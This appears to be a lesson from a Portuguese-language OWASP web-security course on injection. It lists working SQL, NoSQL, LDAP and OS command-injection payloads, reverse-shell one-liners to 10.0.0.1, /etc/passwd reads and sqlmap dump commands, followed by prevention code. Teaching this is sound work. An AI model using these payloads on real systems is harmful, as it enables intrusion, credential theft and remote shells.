kb.erickguedes.com
OWASP: Segurança Web na Prática

Injection — A03:2021

Aula 2 de 6

SQL Injection (SQLi)

Tipos de SQL Injection

TipoDescriçãoExemplo
In-band (UNION)Dados retornados na resposta' UNION SELECT username,password FROM users --
Blind BooleanResposta true/false' AND 1=1 -- (true) vs ' AND 1=2 -- (false)
Blind Time-basedAtraso na resposta' WAITFOR DELAY '0:0:5' --
Error-basedErros do BD na resposta' AND 1=CONVERT(int, @@version) --
Out-of-bandDados enviados para servidor externoEXEC xp_dirtree '\\atacante\share'

UNION SQLi

-- Descobrir número de colunas
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
' ORDER BY 4 -- (erro = 3 colunas)

-- UNION com 3 colunas
' UNION SELECT null,null,null --

-- Extrair dados
' UNION SELECT database(), user(), version() --
' UNION SELECT table_name, null, null FROM information_schema.tables --
' UNION SELECT column_name, data_type, null FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT username, password, null FROM users --

Blind SQLi (Boolean)

# Requisição original
GET /produto?id=1 HTTP/1.1

# Teste boolean — verdadeiro (deve retornar normal)
GET /produto?id=1 AND 1=1 HTTP/1.1

# Teste boolean — falso (deve retornar diferente)
GET /produto?id=1 AND 1=2 HTTP/1.1

# Extrair caractere por caractere
GET /produto?id=1 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a' HTTP/1.1

Blind SQLi (Time-based)

-- MySQL
' AND SLEEP(5) --

-- SQL Server
' WAITFOR DELAY '0:0:5' --

-- PostgreSQL
' AND pg_sleep(5) --

-- Oracle
' AND DBMS_LOCK.SLEEP(5) --

Second-Order SQLi

O payload é armazenado (ex: cadastro de usuário) e executado posteriormente
em outra operação (ex: visualização de perfil).

1. Cadastro: username = ' OR 1=1 --
2. Login: normal
3. Visualização de perfil: query executa SQL com username armazenado

NoSQL Injection

// MongoDB — login bypass
// Request JSON
{ "username": "admin", "password": { "$gt": "" } }

// Query gerada:
// db.users.find({ username: "admin", password: { $gt: "" } })

// PHP + MongoDB
// ?username=admin&password[$gt]=

Command Injection

# Injeção de comandos OS
; ls -la
| ls -la
`ls -la`
$(ls -la)
|| ls -la
&& ls -la
& ls -la

# Exemplo prático (ping)
# Input: 8.8.8.8; cat /etc/passwd
# Resultado: ping 8.8.8.8; cat /etc/passwd

# Reverse shell via command injection
; nc -e /bin/sh 10.0.0.1 4444
| bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
; powershell -c "$c=New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$s=$c.GetStream();..."
POST /ping HTTP/1.1
Host: alvo.com
Content-Type: application/x-www-form-urlencoded

ip=8.8.8.8%3B+whoami

ORM Injection

# SQLAlchemy — vulnerável (raw query)
session.execute(f"SELECT * FROM users WHERE id = {user_input}")

# SQLAlchemy — seguro (query builder)
session.query(User).filter(User.id == user_input).all()

LDAP Injection

Input: admin*
Query: (&(uid=admin*)(userPassword=pass))
Resultado: autentica com qualquer usuário começando com admin

Input: admin)(|(uid=*))
Query: (&(uid=admin)(|(uid=*)))(userPassword=pass)
Resultado: bypass completo de autenticação

Prevenção

Parameterized Queries (Prepared Statements)

// Java — seguro (PreparedStatement)
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
// C# — seguro (parameterized)
string sql = "SELECT * FROM Users WHERE Username = @user AND Password = @pass";
SqlCommand cmd = new SqlCommand(sql, conn);
cmd.Parameters.AddWithValue("@user", username);
cmd.Parameters.AddWithValue("@pass", password);
# Python — seguro (parameterized)
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
// PHP — seguro (prepared statement)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user AND password = :pass");
$stmt->execute(['user' => $username, 'pass' => $password]);

Input Validation e Allowlist

import re

# Allowlist — apenas números
def validate_id(user_input):
    if re.match(r'^\d+$', user_input):
        return int(user_input)
    raise ValueError("ID inválido")

# Escape para comandos
import shlex
safe_command = shlex.quote(user_input)

ORM Safe Practices

# Ruby on Rails — seguro (ActiveRecord)
User.where("username = ? AND password = ?", params[:username], params[:password])

# Evite:
User.where("username = '#{params[:username]}' AND password = '#{params[:password]}'")

Lab: Testando SQL Injection

# 1. Testar campo com aspas simples
' OR 1=1 --
" OR 1=1 --

# 2. Descobrir número de colunas
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --

# 3. UNION para extrair dados
' UNION SELECT null,null,null --
' UNION SELECT database(),user(),version() --

# 4. Testar blind boolean
' AND 1=1 --
' AND 1=2 --

# 5. Testar com SQLMap
sqlmap -u "http://alvo.com/produto?id=1" --batch
sqlmap -u "http://alvo.com/produto?id=1" --dbs
sqlmap -u "http://alvo.com/produto?id=1" -D banco --tables
sqlmap -u "http://alvo.com/produto?id=1" -D banco -T users --dump

Injection é a categoria mais antiga e ainda a mais crítica. Prepared statements resolvem 90% dos casos. Para o resto: allowlist, validação estrita e escape específico. Nunca concatenem strings em queries.